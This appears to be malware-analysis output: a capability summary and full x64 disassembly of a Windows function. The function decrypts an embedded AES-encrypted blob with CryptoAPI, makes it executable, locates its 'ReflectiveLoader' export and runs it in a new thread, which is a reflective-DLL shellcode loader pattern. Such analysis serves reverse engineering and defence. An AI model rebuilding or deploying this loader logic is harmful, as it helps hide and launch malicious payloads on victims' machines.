Function at 0x140001000
Capabilities:
Allocate or change rwx memory
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate pe sections
Hash data via wincrypt
Initialize hashing via wincrypt
Spawn thread to rwx shellcode

Disassembly:
push rbx
push r13
push r15
sub rsp, 0x70
xor r13d, r13d
mov qword [rsp + 0x98], rsi
mov edx, 0x32610
mov qword [rsp + 0x68], r12
xor ecx, ecx
mov dword [rsp + 0x38], r13d
mov r8d, 0x3000
lea r9d, [r13 + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r9d, [r13 + 0x18]
mov dword [rsp + 0x30], 0x32610
xor r8d, r8d
mov dword [rsp + 0x20], 0xf0000000
xor edx, edx
lea rcx, [rsp + 0x40]
mov r15, rax
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
lea rsi, section..data
test eax, eax
je 0x140001120
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x48]
xor r9d, r9d
mov qword [rsp + 0x20], rax
xor r8d, r8d
mov edx, 0x800c
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x140001120
mov rcx, qword [rsp + 0x48]
lea r8d, [r13 + 0x10]
xor r9d, r9d
lea rdx, [0x14004c610]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x140001120
mov r8, qword [rsp + 0x48]
lea rax, [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor r9d, r9d
mov edx, 0x6610
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x140001120
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x140001120
mov rcx, qword [rsp + 0x40]
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
mov qword [rsp + 0x90], rbp
mov r8d, 0x32610
mov qword [rsp + 0xa0], rdi
mov rdx, rsi
mov rcx, r15
mov qword [rsp + 0x60], r14
call fcn.1400022d0
lea r9, [rsp + 0x38]
mov edx, 0x32610
mov r8d, 0x20
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
movsxd rbx, dword [0x14001a03c]
mov r12d, eax
mov eax, 0x10b
movzx edx, word [rbx + rsi + 0x18]
cmp dx, ax
je 0x1400012a1
mov eax, 0x20b
cmp dx, ax
jne 0x1400012a1
mov ecx, dword [rbx + rsi + 0x88]
mov rdx, rsi
call fcn.140001450
mov r14d, eax
mov rdx, rsi
add r14, rsi
mov ecx, dword [r14 + 0x20]
call fcn.140001450
mov ecx, dword [r14 + 0x24]
mov rdx, rsi
mov edi, eax
add rdi, rsi
call fcn.140001450
mov ebp, eax
add rbp, rsi
mov esi, dword [r14 + 0x18]
test esi, esi
je 0x1400012a1
nop dword [rax]
mov r8d, dword [rdi]
lea rax, section..data
movsxd rcx, ebx
dec esi
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rbx, [rcx + 0x18]
add rbx, rax
cmp r8d, dword [rbx + 0x14]
jb 0x14000123d
movzx r11d, word [rcx + 6]
movzx eax, r13w
cmp r13w, r11w
jae 0x14000123a
nop dword [rax]
nop word [rax + rax]
movzx ecx, ax
lea rdx, [rcx + rcx*4]
mov r10d, dword [rbx + rdx*8 + 0xc]
lea r9, [rbx + rdx*8]
cmp r8d, r10d
jb 0x140001231
mov edx, dword [r9 + 0x10]
add edx, r10d
cmp r8d, edx
jb 0x140001272
inc ax
cmp ax, r11w
jb 0x140001210
mov r8d, r13d
mov ecx, r8d
lea rbx, section..data
add rcx, rbx
lea rdx, str.ReflectiveLoader
call fcn.1400020a0
test rax, rax
jne 0x14000127e
add rdi, 4
add rbp, 2
test esi, esi
je 0x1400012a1
mov ebx, dword [0x14001a03c]
jmp 0x1400011d0
mov eax, dword [r9 + 0x14]
sub eax, r10d
add r8d, eax
jmp 0x14000123d
mov ecx, dword [r14 + 0x1c]
mov rdx, rbx
call fcn.140001450
mov ecx, eax
mov rdx, rbx
movzx eax, word [rbp]
lea rcx, [rcx + rax*4]
mov ecx, dword [rcx + rbx]
call fcn.140001450
jmp 0x1400012a4
mov eax, r13d
mov r14, qword [rsp + 0x60]
test r12d, r12d
mov r12, qword [rsp + 0x68]
mov rdi, qword [rsp + 0xa0]
mov rsi, qword [rsp + 0x98]
mov rbp, qword [rsp + 0x90]
je 0x140001304
mov r8d, eax
xor r9d, r9d
add r8, r15
mov qword [rsp + 0x28], r13
xor edx, edx
mov dword [rsp + 0x20], r13d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x1388
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_Sleep]
mov edx, 0xffffffff
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
add rsp, 0x70
pop r15
pop r13
pop rbx
ret